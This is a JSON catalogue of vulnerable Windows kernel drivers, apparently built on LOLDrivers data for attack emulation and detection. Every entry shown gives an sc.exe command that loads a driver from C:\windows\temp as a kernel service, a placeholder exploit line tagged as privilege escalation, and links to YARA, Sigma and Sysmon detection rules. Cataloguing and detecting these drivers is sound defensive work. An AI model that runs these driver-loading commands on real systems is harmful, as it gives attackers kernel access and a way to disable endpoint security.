        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create OpenLibSys.sys binPath=C:\\windows\\temp\\OpenLibSys.sys type=kernel && sc.exe start OpenLibSys.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-openlibsys",
    "install": [
      {
        "method": "custom",
        "description": "Load OpenLibSys.sys kernel driver",
        "commands": [
          "sc.exe create OpenLibSys.sys binPath=C:\\windows\\temp\\OpenLibSys.sys type=kernel && sc.exe start OpenLibSys.sys"
        ]
      }
    ],
    "name": "OpenLibSys.sys",
    "namespace": "windows:kernel:openlibsys",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create otipcibus.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\otipcibus.sys type=kernel && sc.exe start otipcibus.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver otipcibus.sys\"\n\n# otipcibus.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-otipcibus.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create otipcibus.sys binPath=C:\\windows\\temp\\otipcibus.sys type=kernel && sc.exe start otipcibus.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-otipcibus",
    "install": [
      {
        "method": "custom",
        "description": "Load otipcibus.sys kernel driver",
        "commands": [
          "sc.exe create otipcibus.sys binPath=C:\\windows\\temp\\otipcibus.sys type=kernel && sc.exe start otipcibus.sys"
        ]
      }
    ],
    "name": "otipcibus.sys",
    "namespace": "windows:kernel:otipcibus",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create p2KGhmzsARY1 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\p2KGhmzsARY1.sys type=kernel && sc.exe start p2KGhmzsARY1\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver p2KGhmzsARY1.sys\"\n\n# p2KGhmzsARY1.sys\n\np2KGhmzsARY1.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-p2kghmzsary1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "p2KGhmzsARY1.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create p2KGhmzsARY1 binPath=C:\\windows\\temp\\p2KGhmzsARY1.sys type=kernel && sc.exe start p2KGhmzsARY1",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-p2kghmzsary1",
    "install": [
      {
        "method": "custom",
        "description": "Load p2KGhmzsARY1.sys kernel driver",
        "commands": [
          "sc.exe create p2KGhmzsARY1 binPath=C:\\windows\\temp\\p2KGhmzsARY1.sys type=kernel && sc.exe start p2KGhmzsARY1"
        ]
      }
    ],
    "name": "p2KGhmzsARY1.sys",
    "namespace": "windows:kernel:p2kghmzsary1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PanIO.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PanIO.sys type=kernel && sc.exe start PanIO.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PanIO.sys\"\n\n# PanIO.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-panio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PanIO.sys binPath=C:\\windows\\temp\\PanIO.sys type=kernel && sc.exe start PanIO.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-panio",
    "install": [
      {
        "method": "custom",
        "description": "Load PanIO.sys kernel driver",
        "commands": [
          "sc.exe create PanIO.sys binPath=C:\\windows\\temp\\PanIO.sys type=kernel && sc.exe start PanIO.sys"
        ]
      }
    ],
    "name": "PanIO.sys",
    "namespace": "windows:kernel:panio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PanIOx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PanIOx64.sys type=kernel && sc.exe start PanIOx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PanIOx64.sys\"\n\n# PanIOx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-paniox64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PanIOx64.sys binPath=C:\\windows\\temp\\PanIOx64.sys type=kernel && sc.exe start PanIOx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-paniox64",
    "install": [
      {
        "method": "custom",
        "description": "Load PanIOx64.sys kernel driver",
        "commands": [
          "sc.exe create PanIOx64.sys binPath=C:\\windows\\temp\\PanIOx64.sys type=kernel && sc.exe start PanIOx64.sys"
        ]
      }
    ],
    "name": "PanIOx64.sys",
    "namespace": "windows:kernel:paniox64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PanMonFlt.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PanMonFlt.sys type=kernel && sc.exe start PanMonFlt.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PanMonFlt.sys\"\n\n# PanMonFlt.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-panmonflt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PanMonFlt.sys binPath=C:\\windows\\temp\\PanMonFlt.sys type=kernel && sc.exe start PanMonFlt.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-panmonflt",
    "install": [
      {
        "method": "custom",
        "description": "Load PanMonFlt.sys kernel driver",
        "commands": [
          "sc.exe create PanMonFlt.sys binPath=C:\\windows\\temp\\PanMonFlt.sys type=kernel && sc.exe start PanMonFlt.sys"
        ]
      }
    ],
    "name": "PanMonFlt.sys",
    "namespace": "windows:kernel:panmonflt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PanMonFltX64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PanMonFltX64.sys     type=kernel && sc.exe start PanMonFltX64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PanMonFltX64.sys\"\n\n# PanMonFltX64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-panmonfltx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PanMonFltX64.sys binPath=C:\\windows\\temp\\PanMonFltX64.sys     type=kernel && sc.exe start PanMonFltX64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-panmonfltx64",
    "install": [
      {
        "method": "custom",
        "description": "Load PanMonFltX64.sys kernel driver",
        "commands": [
          "sc.exe create PanMonFltX64.sys binPath=C:\\windows\\temp\\PanMonFltX64.sys     type=kernel && sc.exe start PanMonFltX64.sys"
        ]
      }
    ],
    "name": "PanMonFltX64.sys",
    "namespace": "windows:kernel:panmonfltx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PCHunter.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PCHunter.sys type=kernel && sc.exe start PCHunter.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PCHunter.sys\"\n\n# PCHunter.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-pchunter.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PCHunter.sys binPath=C:\\windows\\temp\\PCHunter.sys type=kernel && sc.exe start PCHunter.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-pchunter",
    "install": [
      {
        "method": "custom",
        "description": "Load PCHunter.sys kernel driver",
        "commands": [
          "sc.exe create PCHunter.sys binPath=C:\\windows\\temp\\PCHunter.sys type=kernel && sc.exe start PCHunter.sys"
        ]
      }
    ],
    "name": "PCHunter.sys",
    "namespace": "windows:kernel:pchunter",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PcieCubed.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PcieCubed.sys type=kernel && sc.exe start PcieCubed.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PcieCubed.sys\"\n\n# PcieCubed.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-pciecubed.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/fd223833abffa9cd6cc1848d77599673643585925a7ee51259d67c44d361cce8.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PcieCubed.sys binPath=C:\\windows\\temp\\PcieCubed.sys type=kernel && sc.exe start PcieCubed.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-pciecubed",
    "install": [
      {
        "method": "custom",
        "description": "Load PcieCubed.sys kernel driver",
        "commands": [
          "sc.exe create PcieCubed.sys binPath=C:\\windows\\temp\\PcieCubed.sys type=kernel && sc.exe start PcieCubed.sys"
        ]
      }
    ],
    "name": "PcieCubed.sys",
    "namespace": "windows:kernel:pciecubed",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PDFWKRNL.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PDFWKRNL.sys type=kernel && sc.exe start PDFWKRNL.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PDFWKRNL.sys\"\n\n# PDFWKRNL.sys\n\nAMD USB-C Power Delivery Firmware Update Kernel Library driver with arbitrary physical memory read/write capabilities. Identified in ESET EDR killers research (March 2026) as actively abused by threat actors to disable EDR products.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-pdfwkrnl.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AMD USB-C Power Delivery Firmware Update Kernel Library driver with arbitrary physical memory read/write capabilities. Identified in ESET EDR killers research (March 2026) as actively abused by threat actors to disable EDR products.",
    "execution": {
      "template": "sc.exe create PDFWKRNL.sys binPath=C:\\windows\\temp\\PDFWKRNL.sys type=kernel && sc.exe start PDFWKRNL.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-pdfwkrnl",
    "install": [
      {
        "method": "custom",
        "description": "Load PDFWKRNL.sys kernel driver",
        "commands": [
          "sc.exe create PDFWKRNL.sys binPath=C:\\windows\\temp\\PDFWKRNL.sys type=kernel && sc.exe start PDFWKRNL.sys"
        ]
      }
    ],
    "name": "PDFWKRNL.sys",
    "namespace": "windows:kernel:pdfwkrnl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/en/eset-research/edr-killers-explained/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PhlashNT.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PhlashNT.sys type=kernel && sc.exe start PhlashNT.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PhlashNT.sys\"\n\n# PhlashNT.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-phlashnt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890.yara"
      },
      {
